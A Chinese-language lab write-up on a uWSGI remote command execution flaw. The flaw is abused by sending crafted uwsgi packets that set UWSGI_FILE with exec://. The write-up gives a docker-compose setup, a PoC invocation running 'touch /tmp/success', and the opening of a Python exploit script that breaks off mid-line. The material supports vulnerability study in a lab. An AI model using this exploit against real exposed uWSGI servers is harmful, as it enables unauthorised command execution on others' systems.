漏洞简介
uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言,通常被用于运行Python WEB应用。uwsgi除了是应用容器的名称之外,它和Fastcgi之类的一样,也是前端server与后端应用容器之间的一个交流标准。目前nginx,apache也支持uwsgi协议进行代理转发请求。
uWSGI支持通过魔术变量(Magic Variables)的方式动态配置后端Web应用。如果其端口暴露在外,攻击者可以构造uwsgi数据包,并指定魔术变量UWSGI_FILE
,运用exec://
协议执行任意命令。
影响版本:uWSGI 1.9及以上
漏洞环境
执行如下命令启动nginx+uwsgi环境:
docker-compose up -d
环境启动后,访问http://your-ip:8080
即可查看一个Web应用,其uwsgi暴露在8000端口。
http://127.0.0.1:8080/
漏洞复现
python3 poc.py -u 127.0.0.1:8000 -c "touch /tmp/success"
#!/usr/bin/python
# coding: utf-8
# Uwsgi RCE Exploit
# Note: Just for research purpose
import sys
import socket
import argparse
import requests
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]
def pack_uwsgi_vars(var):
pk = b''
for k, v in var.items() if hasattr(var, 'items') else var:
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
result = b'\x00' + sz